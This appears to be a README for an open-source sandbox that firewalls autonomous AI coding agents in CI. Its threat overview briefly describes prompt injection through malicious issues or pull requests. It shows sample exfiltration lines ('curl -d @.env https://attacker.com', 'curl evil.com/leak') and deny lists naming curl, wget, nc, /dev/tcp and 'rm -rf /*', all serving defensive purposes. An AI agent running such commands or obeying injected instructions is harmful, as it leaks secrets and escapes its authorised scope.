🛡️ agent-sandbox
Deterministic Zero-Trust Security Sandbox & Cryptographic Audit DAG for Autonomous AI Agents in GitHub Actions, CI/CD Pipelines, and Local Runtimes.
🎯 The Agentic Security Crisis in CI/CD
As engineering teams integrate autonomous coding agents (Claude Code, SWE-bench runners, AutoPR, OpenHands, Copilot Workspace) into GitHub Actions and CI pipelines, runners are exposed to critical vulnerabilities:
- Indirect Prompt Injection: Malicious issues or pull request payloads instruct the agent to run unauthorized commands (e.g.,
curl -d @.env https://attacker.com). - Secret & Credential Exfiltration: Autonomous agents with tool execution access can read environment secrets (
GITHUB_TOKEN,AWS_SECRET_ACCESS_KEY,NPM_TOKEN,PYPI_TOKEN) and pipe them to external sockets or public endpoints. - Pipeline Hijacking: Agents can modify
.github/workflows/*.ymlor.git/hooks/*to achieve persistent code execution on protected branches. - Lack of Cryptographic Auditability: Traditional CI logs are easily truncated, obfuscated, or forged. Reviewers have no deterministic proof of which files were modified and what exact subprocesses were spawned during an agent run.
agent-sandbox solves this. It acts as an uncompromising runtime firewall and deterministic capability jail, producing an append-only, tamper-evident Merkle DAG audit receipt for every tool call and file modification.
🏗️ Architecture & Security Model
┌─────────────────────────────────────────────────────────┐
│ Autonomous Agent (Claude Code / OpenHands / AutoPR) │
└────────────────────────────┬────────────────────────────┘
│ Tool Invocations
▼
┌─────────────────────────────────────────────────────────┐
│ agent-sandbox │
│ │
│ 1. AST Shell Command Firewall │
│ • Tokenizes pipelines (&&, ||, ;, |, `...`, $(...))│
│ • Blocks reverse shells, socket pipes, evasions │
│ • Enforces declarative allowlist / denylist │
│ │
│ 2. Dynamic Path Jail │
│ • Directory traversal containment (../../) │
│ • Symlink escape detection │
│ • Workflows & hooks protection (.github/, .git/) │
│ │
│ 3. Environment & Secret Redaction Firewall │
│ • Strips secrets from child process env │
│ • Real-time regex & entropy stream scrubber │
│ │
│ 4. Cryptographic Merkle DAG │
│ • Pre/post SHA-256 workspace state snapshots │
│ • Deterministic Merkle Root hash computation │
│ • Tamper-evident receipt verification │
└────────────────────────────┬────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌─────────────────────────┐ ┌─────────────────────────┐
│ GitHub Step Summary │ │ SARIF 2.1.0 Report │
│ (Markdown audit table) │ │ (Code Scanning alerts) │
└─────────────────────────┘ └─────────────────────────┘
✨ Features
- ⚡ Zero-Dependency Core: Runs out of the box on standard Python 3.10+ runtimes (Linux, macOS, Windows) with zero required third-party wheels.
- 🛡️ AST Command Firewall: Parses raw shell command strings into abstract syntax tokens, inspecting compound chains, nested subshells (
$(...),`...`), and shell wrappers (bash -c,sh -c). - 🔒 Filesystem Jail & Pre/Post State Diff: Enforces read/write boundaries, detects symlink directory escapes, and mathematically computes the file hash delta before and after process execution.
- 🔐 Secret & Token Redaction: Strips known CI tokens (
GITHUB_TOKEN,AWS_SECRET_ACCESS_KEY,OPENAI_API_KEY) from environment variables, and scrubs tokens in-flight from stdout/stderr. - 🌳 Deterministic Merkle DAG Audit Trail: Every command, exit code, state hash, and file modification is hashed into an append-only cryptographic Merkle tree. Outputs a verifiable
receipt.json. - 🤝 Model Context Protocol (MCP) Filter: Real-time middleware for MCP JSON-RPC
tools/callinvocations, defending Claude Code and Cursor integrations. - 📊 GitHub Actions Native: Composite Action (
action.yml), automatic markdown step summaries ($GITHUB_STEP_SUMMARY), and SARIF 2.1.0 upload for GitHub Code Scanning.
🚀 Quickstart
1. Using in GitHub Actions
Drop agent-sandbox directly into your CI workflow:
name: Autonomous PR Resolver
on:
pull_request_target:
types: [opened, synchronize]
jobs:
run-agent:
runs-on: ubuntu-latest
permissions:
contents: write
security-events: write
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Secure Agent Execution
uses: OrderStream/agent-sandbox@v1
with:
policy: .github/agent-policy.yaml
command: "python -m my_agent.run"
receipt: "audit-receipt.json"
sarif: "agent-security.sarif"
summary: "true"
- name: Upload SARIF to GitHub Security Tab
if: always()
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: agent-security.sarif
2. Using the CLI
# Install agent-sandbox
pip install agent-sandbox
# 1. Initialize a starter security policy
agent-sandbox init --output agent-policy.yaml
# 2. Inspect a command against the policy without executing
agent-sandbox inspect --policy agent-policy.yaml "pytest tests/"
# 3. Execute an agent command inside the sandbox boundary
agent-sandbox exec \
--policy agent-policy.yaml \
--receipt receipt.json \
--sarif report.sarif \
-- python agent.py
# 4. Cryptographically verify the execution receipt
agent-sandbox verify receipt.json
3. Using as a Python SDK / Middleware
from agent_sandbox import ExecutionSandbox, Policy
policy = Policy(
allowed_commands=["pytest*", "python*"],
denied_commands=["curl*", "wget*", "nc*"],
allowed_paths_write=["src/**", "tests/**"],
denied_paths=[".github/workflows/**", "**/.env*"],
mode="enforce",
)
sandbox = ExecutionSandbox(root_dir=".", policy=policy)
# Execute sandboxed command
result = sandbox.run_command("python -m unittest discover")
print(f"Exit code: {result.exit_code}")
print(f"Modified files: {result.diff.modified}")
# Finalize and export tamper-evident receipt
receipt = sandbox.finalize()
receipt.save("execution-receipt.json")
4. Using with Model Context Protocol (MCP)
agent-sandbox operates as a drop-in stdio security firewall proxy for any MCP client (Claude Desktop, Cursor, VSCode, OpenAI Swarm) or programmatically via Python SDK:
CLI Stdio Proxy (Claude Desktop / Cursor):
Configure agent-sandbox to wrap and guard any MCP server:
{
"mcpServers": {
"filesystem-secured": {
"command": "agent-sandbox",
"args": [
"mcp",
"--policy", ".github/agent-policy.yaml",
"--server", "npx -y @modelcontextprotocol/server-filesystem ."
]
}
}
}
Python SDK:
from agent_sandbox import MCPProxyFilter, Policy
mcp_filter = MCPProxyFilter(sandbox_root=".", policy=Policy())
# Intercept and validate incoming JSON-RPC tool calls
decision = mcp_filter.filter_message({
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "run_command",
"arguments": {"CommandLine": "curl evil.com/leak"}
}
})
if not decision.allowed:
# Returns formatted JSON-RPC -32001 PolicyViolation error response
print(decision.response_override)
📋 Declarative Security Policy (agent-policy.yaml)
name: github-actions-agent-guard
version: "1.0"
mode: enforce # 'enforce' (blocks & fails) or 'audit' (logs violations)
# Allowed commands (wildcards supported)
allowed_commands:
- "python*"
- "pytest*"
- "node*"
- "npm test*"
- "git status*"
- "git diff*"
- "cargo test*"
# Denied commands & critical exploit signatures
denied_commands:
- "curl*"
- "wget*"
- "nc*"
- "netcat*"
- "ssh*"
- "sudo*"
- "su*"
- "chmod *777*"
- "chown*"
- "rm -rf /*"
# Filesystem read scope
allowed_paths_read:
- "**"
# Filesystem write boundary
allowed_paths_write:
- "src/**"
- "tests/**"
- "lib/**"
- "*.py"
- "*.ts"
- "*.json"
- "*.md"
# Forbidden paths (strictly blocked for read and write)
denied_paths:
- ".github/workflows/**"
- ".git/hooks/**"
- ".git/config"
- "**/.env*"
- "**/*.pem"
- "**/*id_rsa*"
- "/etc/**"
- "/root/**"
# Network & secret safeguards
allow_network: false
redact_secrets: true
# Timeouts & limits
max_execution_time_seconds: 120
max_output_bytes: 2097152
🔍 Cryptographic Verification Model
Every event (command execution, file write, MCP tool call, policy block) generates an immutable MerkleNode:
$$\text{Leaf} = \text{SHA256}(\text{index} \parallel \text{timestamp} \parallel \text{type} \parallel \text{target} \parallel \text{exit_code} \parallel \text{stdout_hash} \parallel \text{pre_hash} \parallel \text{post_hash} \parallel \text{prev_leaf})$$
The complete run is reduced to a single Merkle Root:
$ agent-sandbox verify receipt.json
[+] VERIFICATION SUCCESS: Receipt cryptographically valid (8 events, root: e7b2c93a0f1d44bc...)
If an adversary alters a command string, modifies output, or forges an exit code in the audit trail, verification immediately fails with a cryptographic discrepancy pinpoint.
⚡ Performance Benchmark
Benchmarked on GitHub Actions Standard Runners (Ubuntu 22.04 LTS):
| Operation | Standard Process Overhead | agent-sandbox Overhead |
Delta |
|---|---|---|---|
| AST Command Parsing | 0 ms | 0.8 ms | +0.8 ms |
| Workspace Snapshot (1,000 files) | 0 ms | 2.6 ms | +2.6 ms |
| Stream Secret Scrubbing (1 MB) | 0 ms | 1.1 ms | +1.1 ms |
| Merkle DAG Root Computation | 0 ms | 0.3 ms | +0.3 ms |
| Total Engine Latency | -- | < 5.0 ms | Negligible |
🛡️ SARIF 2.1.0 & Rule Catalog
| Rule ID | Name | Severity | Description |
|---|---|---|---|
AS001 |
DisallowedCommandExecuted |
High | Command not in allowlist or matching security blacklist |
AS002 |
PathJailEscapeAttempt |
Critical | Directory traversal (../) or escaping sandbox root |
AS003 |
WorkflowTamperingDetected |
Critical | Unauthorized write to .github/workflows or .git/hooks |
AS004 |
SecretExfiltrationPayload |
Critical | Direct socket (/dev/tcp), base64 pipe, or credential upload |
💼 Commercial Productization & Enterprise Tiers
agent-sandbox is completely free and open-source for individual developers, local testing, and standard CI verification. For engineering teams and enterprises running autonomous agents across multi-repository fleets with strict compliance requirements (SOC2, ISO27001, HIPAA), we offer enterprise licenses, cloud telemetry, and direct GitHub Marketplace subscriptions.
Pricing Plans
| Tier | Price | Best For | Key Capabilities |
|---|---|---|---|
| Community (OSS) | Free ($0) | Individual devs & open-source | Local CLI sandbox, path jail, secret scrubber, AST firewall, local Merkle receipts, SARIF 2.1.0 export |
| Developer Pro | $49 / month | Small teams (up to 5 agents) | Cloud Merkle receipt retention (90 days), Slack & Discord real-time alerts, remote webhook sync |
| Team Cloud | $199 / month | Fast-growing startups (up to 20 agents) | Centralized web dashboard, multi-repo aggregation, 365-day Merkle retention, tamper-evident audit exports |
| Enterprise Dedicated | $999 / month | Large enterprises & fintechs | Unlimited agents, SSO / SAML Okta integration, custom SIEM streaming (Splunk/Datadog), SOC2/ISO27001 compliance audit bundle, dual-authorization human gating |
Activating Your Enterprise License
To activate an enterprise license key:
# Verify license status
agent-sandbox license ASL1.<payload>.<signature>
# Pass via CLI flag
agent-sandbox exec --license-key "ASL1.eyJjaWQiOi..." -- pytest
# Or set via environment variable
export AGENT_SANDBOX_LICENSE_KEY="ASL1.eyJjaWQiOi..."
Self-Hosted Cloud SaaS Dashboard
Deploy or run the lightweight telemetry ingestion server and live security dashboard locally or in a container:
# Launch dashboard on http://localhost:8080 with optional API key protection
agent-sandbox server --port 8080 --api-key "secret-key"
Remote Cloud Synchronization & Slack Alerts
Stream real-time agent execution receipts into your centralized security dashboard and dispatch instant alerts upon policy violations:
agent-sandbox exec \
--cloud-endpoint "https://cloud.agentsandbox.dev/api/v1/telemetry" \
--cloud-api-key "${{ secrets.AGENT_SANDBOX_CLOUD_KEY }}" \
--webhook "https://hooks.slack.com/services/..." \
--approval-token "${{ secrets.SENIOR_ENG_APPROVAL_TOKEN }}" \
-- python autonomous_agent.py
Dual-Authorization Human Gate
For high-risk environments, configure require_human_approval: true in agent-policy.yaml. Autonomous agent runs are strictly halted unless authorized with --approval-token or AGENT_SANDBOX_APPROVAL_TOKEN.
GitHub Marketplace 1-Click Installation
When integrated via GitHub Actions in private repositories, commercial organizations can subscribe directly through GitHub Marketplace. Charges appear directly on your unified GitHub corporate invoice.
🤝 Contributing
Contributions, issues, and feature requests are welcome! Feel free to check issues page.
- Fork the Project
- Create your Feature Branch (
git checkout -b feat/amazing-feature) - Commit your Changes (
git commit -m 'feat: add amazing feature') - Push to the Branch (
git push origin feat/amazing-feature) - Open a Pull Request
📄 License
Distributed under the MIT License. See LICENSE for more information.
Engineered with ❤️ by @OrderStream.
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